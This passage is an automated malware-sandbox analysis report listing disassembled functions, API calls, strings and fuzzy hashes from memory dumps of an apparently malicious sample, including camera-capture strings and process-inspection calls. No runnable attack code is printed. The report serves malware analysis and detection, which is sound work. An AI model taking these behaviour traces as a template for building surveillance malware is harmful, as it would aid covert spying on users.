Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: ($+INF$+NAN$-INF$-NAN$G
API String ID: 0-2347845670
Opcode ID: 5defa071b344468966e8f21992e091caac449c0c4bd61bf6e6264df9a7e114d1
Instruction ID: e6fb385a06b2e9920547bfa33233a82a7c57b8ed9fcdbdb3d0a1a4ef79059717
Opcode Fuzzy Hash: 5defa071b344468966e8f21992e091caac449c0c4bd61bf6e6264df9a7e114d1
Instruction Fuzzy Hash: AB81BD7291021597CB20AF48DA813AB73A1EFA4710F14917FDC856B3C5EB7D8982C79E

Uniqueness

Uniqueness Score: -1.00%

Function 1237139A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5534a7712bd8acbaa51a057818a33d663e07d762aace7220e9a9b443788d6ad2
Instruction ID: adb7705efc320a77dc1f239db63ed97e721318946ce0c6584634af74f67994ca
Opcode Fuzzy Hash: 5534a7712bd8acbaa51a057818a33d663e07d762aace7220e9a9b443788d6ad2
Instruction Fuzzy Hash: F571C277A002579BCF25CF94C884AEEBBBAEF41764F150329E4926B180D7749945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 12334371 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 206sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,1233D262), ref: 123344C4

Part of subcall function 12334607: __EH_prolog.LIBCMT ref: 1233460C

Strings

GetFrame, xrefs: 1233459F
OpenCamera, xrefs: 12334582
FreeFrame, xrefs: 123345B0
CloseCamera, xrefs: 1233458E

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: H_prologSleep
String ID: CloseCamera$FreeFrame$GetFrame$OpenCamera
API String ID: 3469354165-3547787478
Opcode ID: a53768b433ec7554020355c2ae302eb382cfee8ed5e3890200f44cc00bed5902
Instruction ID: a96c744d4f3ecddf100824f8a99b5f224bfe7a2608ea433488ab6e40a0e1c72c
Opcode Fuzzy Hash: a53768b433ec7554020355c2ae302eb382cfee8ed5e3890200f44cc00bed5902
Instruction Fuzzy Hash: DD512A7FF043245BD6A6DB34C854ABE37A9EB81752F000628E946876D0DF31AF05C392

Uniqueness

Uniqueness Score: -1.00%

Function 005D5ADD Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 005D5BE8
_free.LIBCMT ref: 005D5BFF
_free.LIBCMT ref: 005D5C1E
_free.LIBCMT ref: 005D5C39
_free.LIBCMT ref: 005D5C50

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d775a197f71d536e5d52874a7a30662ad33d8ad4d8240f212ad1ffb4432d1cba
Instruction ID: efef15efacd50fd81b4e319406da5ae0a8bbf017acc72d7e1fa5544143dd46c7
Opcode Fuzzy Hash: d775a197f71d536e5d52874a7a30662ad33d8ad4d8240f212ad1ffb4432d1cba
Instruction Fuzzy Hash: 11519D71A11B09AFEB30DF69D841A6A7BF4FB58720F14456BE80AD7360F735AE418B40

Uniqueness

Uniqueness Score: -1.00%

Function 12379365 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,1238F234), ref: 123793CF
WideCharToMultiByte.KERNEL32(00000000,00000000,123A2764,000000FF,00000000,0000003F,00000000,?,?), ref: 12379447
WideCharToMultiByte.KERNEL32(00000000,00000000,123A27B8,000000FF,?,0000003F,00000000,?), ref: 12379474
_free.LIBCMT ref: 123793BD

Part of subcall function 12376782: RtlFreeHeap.NTDLL(00000000,00000000,?,12380C6F,?,00000000,?,00000000,?,12380F13,?,00000007,?,?,1238145E,?), ref: 12376798
Part of subcall function 12376782: GetLastError.KERNEL32(?,?,12380C6F,?,00000000,?,00000000,?,12380F13,?,00000007,?,?,1238145E,?,?), ref: 123767AA

_free.LIBCMT ref: 12379589

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: aa1f5272f45c70243794974ae07828d6c9eea462e0e8bf93315b9b35cc68aea4
Instruction ID: a8d420e18f08df16f4252e28f1ab6b4d7d2f7c1d7eca179fcc18c5cbbb9e2ce5
Opcode Fuzzy Hash: aa1f5272f45c70243794974ae07828d6c9eea462e0e8bf93315b9b35cc68aea4
Instruction Fuzzy Hash: BB51A7B7900269AFCF10DFA48C849EAB7BCEF84360B11077AE554D7281E7389A41DB50

Uniqueness

Uniqueness Score: -1.00%

Function 005D4BDB Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 005D4C4D
_free.LIBCMT ref: 005D4C6D

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
Instruction ID: ecb68656b34b73c70a857b42148ea328f8e4172c0accb7cf6435e3ab80b7b7e6
Opcode Fuzzy Hash: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
Instruction Fuzzy Hash: 3741E232A002049FCB24DFBCC885A5EBBA5FF88314F1545AAE955EB391E731AD01CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00404276 Relevance: 7.6, Strings: 6, Instructions: 120COMMON

Download Yara Rule

Strings

XXTYPE.CPP, xrefs: 004042AD
XXTYPE.CPP, xrefs: 004042CD
IS_STRUC(base->tpMask), xrefs: 00404292
XXTYPE.CPP, xrefs: 0040428D
derv->tpClass.tpcFlags & CF_HAS_BASES, xrefs: 004042D2
IS_STRUC(derv->tpMask), xrefs: 004042B2

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: IS_STRUC(base->tpMask)$IS_STRUC(derv->tpMask)$XXTYPE.CPP$XXTYPE.CPP$XXTYPE.CPP$derv->tpClass.tpcFlags & CF_HAS_BASES
API String ID: 0-131784352
Opcode ID: fb1bc3a81ee95ff01b21cbe901d4932e46fe31dd037e4dd5e9f2a02a155a0d32
Instruction ID: ffc6d6ff1f84cd42ec22ab39dec13b0b7ff5da0dc2e01e5e5f00b47da449b396
Opcode Fuzzy Hash: fb1bc3a81ee95ff01b21cbe901d4932e46fe31dd037e4dd5e9f2a02a155a0d32
Instruction Fuzzy Hash: E141D3B1B04304A7EB108A12DC46BAB77609BD0714F1C907BFE047A2C5D37DD991C29A

Uniqueness

Uniqueness Score: -1.00%

Function 1238112C Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,00000000,00000000,00000000,1235DD01,?,?,?,00000001,00000000,?,00000001,1235DD01,1235DD01), ref: 12381179
__alloca_probe_16.LIBCMT ref: 123811B1
MultiByteToWideChar.KERNEL32(?,00000001,?,00000000,00000000,1235DD01,?,?,?,00000001,00000000,?,00000001,1235DD01,1235DD01,?), ref: 12381202
GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,?,00000001,1235DD01,1235DD01,?,00000002,00000000), ref: 12381214
__freea.LIBCMT ref: 1238121D

Part of subcall function 12376137: RtlAllocateHeap.NTDLL(00000000,123652BC,?,?,12368847,?,?,00000000,?,?,1233DE62,123652BC,?,?,?,?), ref: 12376169

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 313313983-0
Opcode ID: a662cb9a8bc0f94705c01a32af0c70ff44f913e4c1fc550476bc0d3c7a741e51
Instruction ID: 23ebe9e4613ffd333672045004a9435d826e3f1ad7206088ad8350c2ff84f50d
Opcode Fuzzy Hash: a662cb9a8bc0f94705c01a32af0c70ff44f913e4c1fc550476bc0d3c7a741e51
Instruction Fuzzy Hash: 4F31BE76A1021AABDF25CFA5CC84DFE7BA9EB40714B014368EC44DB290E735D961CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00403774 Relevance: 7.6, Strings: 6, Instructions: 68COMMON

Download Yara Rule

Strings

varType->tpClass.tpcFlags & CF_HAS_DTOR, xrefs: 004037A0
XX.CPP, xrefs: 004037EA
XX.CPP, xrefs: 004037B8
XX.CPP, xrefs: 0040379B
varType->tpClass.tpcDtorAddr, xrefs: 004037BD
(errPtr->ERRcInitDtc >= varType->tpClass.tpcDtorCount) || flags, xrefs: 004037EF

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: (errPtr->ERRcInitDtc >= varType->tpClass.tpcDtorCount) || flags$XX.CPP$XX.CPP$XX.CPP$varType->tpClass.tpcDtorAddr$varType->tpClass.tpcFlags & CF_HAS_DTOR
API String ID: 0-245352462
Opcode ID: 9e17b5a84bb40e683efab63a096b28be77a14cb4e0ad1c14d600fc567c2284c9
Instruction ID: 2851ccdddbce733e0003dc1ec9fa6ed38ed7316f3c2f9070df04e85540b4e2d4
Opcode Fuzzy Hash: 9e17b5a84bb40e683efab63a096b28be77a14cb4e0ad1c14d600fc567c2284c9
Instruction Fuzzy Hash: 1921D3B1D002099BCB00EF40C986A6A7BA8AF10715F20817AFC043B2C1D3788E5587EA

Uniqueness

Uniqueness Score: -1.00%

Function 14647153 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 1464715C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1464717F

Part of subcall function 146456D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 14645702

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 146471A5
_free.LIBCMT ref: 146471B8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 146471C7

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 256856f77888578785a9fabcd2543e9111214d6b42ec896f497ade40655f12e0
Instruction ID: 0f095fd6acccf0c86ba198f1203db75c5a5a5b6b2da8a79e94520c3a21ad879e
Opcode Fuzzy Hash: 256856f77888578785a9fabcd2543e9111214d6b42ec896f497ade40655f12e0
Instruction Fuzzy Hash: 69018876A012257F6F110AB65C88D7B696DDAD6DAA33D012DFE04D7240DE749C0281B4

Uniqueness

Uniqueness Score: -1.00%

Function 1237F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 1237F363
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1237F386

Part of subcall function 12376137: RtlAllocateHeap.NTDLL(00000000,123652BC,?,?,12368847,?,?,00000000,?,?,1233DE62,123652BC,?,?,?,?), ref: 12376169

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 1237F3AC
_free.LIBCMT ref: 1237F3BF
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 1237F3CE

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 0ea0509e3bfeac905872f8cf52d9e7be55e933f0b3e0cbcdcce4618197031c8f
Instruction ID: 2d9fd041dd4c400bb9a144f41356eb83f6d3490279c00c4061a2739c16e2ebe4
Opcode Fuzzy Hash: 0ea0509e3bfeac905872f8cf52d9e7be55e933f0b3e0cbcdcce4618197031c8f
Instruction Fuzzy Hash: B80171B76053257F7B2206BA5C8CCBB7A6DEBC6AA53110229F908C6240DA6CDD02D5B0

Uniqueness

Uniqueness Score: -1.00%

Function 12341163 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 12341170
int.LIBCPMT ref: 12341183

Part of subcall function 1233E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 1233E0D2
Part of subcall function 1233E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 1233E0EC

std::_Facet_Register.LIBCPMT ref: 123411C3
std::_Lockit::~_Lockit.LIBCPMT ref: 123411CC
__CxxThrowException@8.LIBVCRUNTIME ref: 123411EA

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
String ID:
API String ID: 2536120697-0
Opcode ID: c9dcdd48756be27e863de99208c76d6f3171a069607a25d97553f85f8e59e77e
Instruction ID: 27d94098e47e7f310a1b194b0b50d15cee33806a987297a40b145977708ce138
Opcode Fuzzy Hash: c9dcdd48756be27e863de99208c76d6f3171a069607a25d97553f85f8e59e77e
Instruction Fuzzy Hash: 5B11CD77A0011C9BCB25DFA5D8449FDBBBC9F80751B200556E845A7190DF70AF41DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 005CB13C Relevance: 7.6, APIs: 5, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 005CB158
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 005CB171

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
Instruction ID: 05cc5d0d5dc3713a6351f76c81595380f8b82261c5b4ca64aedac5180b52659f
Opcode Fuzzy Hash: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
Instruction Fuzzy Hash: EB01B5722087526EB72416F87CAAF666FA9FB41775F28023EF518415F1EF514C81D244

Uniqueness

Uniqueness Score: -1.00%

Function 14645B7A Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000000,1464636D,14645713,00000000,?,14642249,?,?,14641D66,00000000,?,?,00000000), ref: 14645B7F
_free.LIBCMT ref: 14645BB4
_free.LIBCMT ref: 14645BDB
SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 14645BE8
SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 14645BF1

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 4fb1e77c933c0ab84f8e6cc91b7d3d7a465e406e1eebc03eed0c4942d70428e9
Instruction ID: 490148fbf5864089f88eaa16e42ac55f5fbfe2084536295d7243b96ec4a8bb98
Opcode Fuzzy Hash: 4fb1e77c933c0ab84f8e6cc91b7d3d7a465e406e1eebc03eed0c4942d70428e9
Instruction Fuzzy Hash: 4D01F93A206651F7EF1366345CD4D1B2A2EDBF197C73C0128FB15E7A41EE3498024128

Uniqueness

Uniqueness Score: -1.00%

Function 12378299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,1236BC87,00000000,?,?,1236BD0B,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 1237829E
_free.LIBCMT ref: 123782D3
_free.LIBCMT ref: 123782FA
SetLastError.KERNEL32(00000000,?,1233A71B), ref: 12378307
SetLastError.KERNEL32(00000000,?,1233A71B), ref: 12378310

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 0263fbbeafd0ee5cee829496d3831ee7ba65e6e9fb604477f3968cce057d10a2
Instruction ID: 28f31838c35d7e8ef3e16959019cd535de7a7a2d2d22d8b407ed5e0b83a5da00
Opcode Fuzzy Hash: 0263fbbeafd0ee5cee829496d3831ee7ba65e6e9fb604477f3968cce057d10a2
Instruction Fuzzy Hash: EC01F97F544B557BDB1216285CC8A9B261E9BC13B67200728FC18E2280EF7CCC01B260

Uniqueness

Uniqueness Score: -1.00%

Function 1234C1DD Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 1234C1F5
OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 1234C208
GetProcessImageFileNameW.PSAPI(00000000,?,00000104,?,00000000,00000000,00000000), ref: 1234C228
CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 1234C233
CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 1234C23B

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Process$CloseHandleOpen$FileImageName
String ID:
API String ID: 2951400881-0
Opcode ID: e95f23367b982920127ee928513248e4d709dedb8e9fd6638abd832ea0cbfe9e
Instruction ID: 4fb16f745c4932fa3d3b85b09327759d7b74a73da661b1f6b2cb5e034783ebc2
Opcode Fuzzy Hash: e95f23367b982920127ee928513248e4d709dedb8e9fd6638abd832ea0cbfe9e
Instruction Fuzzy Hash: 570126F72802256BDA1256D48C88FA7B3FCDB84A81F1006A1FA48D3281EEA09D41C771

Uniqueness

Uniqueness Score: -1.00%

Function 14641E89 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,?,?,146410DF,?,?,?,00000000), ref: 14641E9A
lstrcatW.KERNEL32(?,?), ref: 14641EAC
lstrlenW.KERNEL32(?,?,146410DF,?,?,?,00000000), ref: 14641EB3
lstrlenW.KERNEL32(?,?,146410DF,?,?,?,00000000), ref: 14641EC8
lstrcatW.KERNEL32(?,146410DF), ref: 14641ED3

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID:
API String ID: 493641738-0
Opcode ID: c20e5f94a98ccd16e8a185d04cb2feda64350f30f6fd062fbc1eba903bf40375
Instruction ID: fd450ad0d53a389e64ce6dd8e73d6a88fde36421add86ab3ad1df17437302984
Opcode Fuzzy Hash: c20e5f94a98ccd16e8a185d04cb2feda64350f30f6fd062fbc1eba903bf40375
Instruction Fuzzy Hash: 0EF0892A601120BADB222B19BCC5EBF777CEFD6A68B18001DF608831909B65594392B5

Uniqueness

Uniqueness Score: -1.00%

Function 146491B8 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 146491D0

Part of subcall function 1464571E: HeapFree.KERNEL32(00000000,00000000,?,1464924F,?,00000000,?,00000000,?,14649276,?,00000007,?,?,14647E5A,?), ref: 14645734
Part of subcall function 1464571E: GetLastError.KERNEL32(?,?,1464924F,?,00000000,?,00000000,?,14649276,?,00000007,?,?,14647E5A,?,?), ref: 14645746

_free.LIBCMT ref: 146491E2
_free.LIBCMT ref: 146491F4
_free.LIBCMT ref: 14649206
_free.LIBCMT ref: 14649218

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 324994140fff126b3bf84ddf3385b41fd0ace57581a3b0c73c9e2fcde635d477
Instruction ID: 6231f666cf3733d7e679dc9b69bdf59952144edf15e7d93b0b3b5d2c3957714f
Opcode Fuzzy Hash: 324994140fff126b3bf84ddf3385b41fd0ace57581a3b0c73c9e2fcde635d477
Instruction Fuzzy Hash: 8CF0FF7195525097DF21DA64D5C5C1A7FDDEB2065C7784819EA49DBA00CE31F8808A5C

Uniqueness

Uniqueness Score: -1.00%

Function 14645351 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 1464536F

Part of subcall function 1464571E: HeapFree.KERNEL32(00000000,00000000,?,1464924F,?,00000000,?,00000000,?,14649276,?,00000007,?,?,14647E5A,?), ref: 14645734
Part of subcall function 1464571E: GetLastError.KERNEL32(?,?,1464924F,?,00000000,?,00000000,?,14649276,?,00000007,?,?,14647E5A,?,?), ref: 14645746

_free.LIBCMT ref: 14645381
_free.LIBCMT ref: 14645394
_free.LIBCMT ref: 146453A5
_free.LIBCMT ref: 146453B6

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 80351875d5ba9127fa1c91f532cdf60e631ecdeb2f1d66b783156a7a4be137b4
Instruction ID: 6a57bcdfabcd5558616692fb960fea5f80f594d19fc36b86e40f896f820d77cf
Opcode Fuzzy Hash: 80351875d5ba9127fa1c91f532cdf60e631ecdeb2f1d66b783156a7a4be137b4
Instruction Fuzzy Hash: 54F0B774915234DBDB22EF24D9D04183FADE724AEC76941AEE9109B750EB3158829B88

Uniqueness

Uniqueness Score: -1.00%

Function 005D4E2A Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005D4E48
_free.LIBCMT ref: 005D4E5A
_free.LIBCMT ref: 005D4E6D
_free.LIBCMT ref: 005D4E7E
_free.LIBCMT ref: 005D4E8F

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
Instruction ID: cc706be78aa66dfe3d56ca5a22c81b624ed334637ae42726f98964afea0ffe37
Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
Instruction Fuzzy Hash: ECF012B18046219FCA31EB2CBD456093B65BB48B20B0441A7F41CA2B70D7B04AC2CFCF

Uniqueness

Uniqueness Score: -1.00%

Function 12374048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 12374066

Part of subcall function 12376782: RtlFreeHeap.NTDLL(00000000,00000000,?,12380C6F,?,00000000,?,00000000,?,12380F13,?,00000007,?,?,1238145E,?), ref: 12376798
Part of subcall function 12376782: GetLastError.KERNEL32(?,?,12380C6F,?,00000000,?,00000000,?,12380F13,?,00000007,?,?,1238145E,?,?), ref: 123767AA

_free.LIBCMT ref: 12374078
_free.LIBCMT ref: 1237408B
_free.LIBCMT ref: 1237409C
_free.LIBCMT ref: 123740AD

Memory Dump Source

